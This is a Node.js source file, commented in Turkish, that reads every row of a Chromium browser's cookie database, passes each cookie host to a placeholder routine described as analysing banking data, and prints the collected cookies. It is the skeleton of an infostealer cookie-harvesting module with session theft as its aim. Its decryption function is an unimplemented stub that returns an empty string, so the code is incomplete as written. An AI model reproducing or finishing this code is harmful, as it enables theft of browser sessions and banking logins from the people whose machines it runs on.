const sqlite3 = require('sqlite3').verbose(); const path = require('path'); const fs = require('fs'); const crypto = require('crypto'); class Cookie { constructor(value, hostKey, name, path, expiresUtc) { this.value = value; this.hostKey = hostKey; this.name = name; this.path = path; this.expiresUtc = expiresUtc; } } class Cookies { /** * Get cookies from Chromium based browsers * @param {string} dbPath Path to the SQLite database * @returns {Promise} List of cookies */ static async get(dbPath) { const lcCookies = []; try { // Veritabanını aç const db = new sqlite3.Database(dbPath, sqlite3.OPEN_READONLY); // SQL sorgusu ile 'cookies' tablosundan verileri çekiyoruz const query = "SELECT * FROM cookies"; const rows = await this.executeQuery(db, query); for (let row of rows) { const decryptedValue = this.easyDecrypt(row.encrypted_value); const cookieValue = decryptedValue || row.value; const cookie = new Cookie( cookieValue, row.host_key, row.name, row.path, row.expires_utc ); // Bankacılık verilerini analiz edebilir veya başka işlemler yapabilirsiniz this.scanData(cookie.hostKey); lcCookies.push(cookie); } db.close(); } catch (error) { console.error("Chromium >> Failed to collect cookies\n", error); } return lcCookies; } /** * Şifre çözme işlemi * @param {Buffer} encryptedValue Encrypted cookie value * @returns {string} Decrypted cookie value */ static easyDecrypt(encryptedValue) { if (!encryptedValue) return ''; // Burada key ve iv değerleriyle şifre çözme işlemi yapılabilir // Chrome'dan gelen verilerde "v10" ile başlayanlar AES-256-GCM ile şifrelenmiş olabilir. const decrypted = ''; // Şifre çözme işlemi burada yapılmalıdır return decrypted; } /** * SQLite sorgusu çalıştıran yardımcı fonksiyon * @param {sqlite3.Database} db Veritabanı nesnesi * @param {string} query SQL sorgusu * @returns {Promise} SQL sorgusunun sonuçları */ static executeQuery(db, query) { return new Promise((resolve, reject) => { db.all(query, (err, rows) => { if (err) { reject(err); } else { resolve(rows); } }); }); } /** * Bankacılık gibi özel verileri analiz eden bir yardımcı fonksiyon (placeholder) * @param {string} hostKey */ static scanData(hostKey) { // Burada hostKey'e göre bankacılık verilerini analiz edebilirsiniz console.log("Analyzing host:", hostKey); } } // Örnek kullanım const dbPath = path.join(__dirname, 'Cookies'); // SQLite veritabanı yolu Cookies.get(dbPath).then(cookies => { console.log("Toplam çerezler:", cookies.length); cookies.forEach(cookie => { console.log(cookie); }); });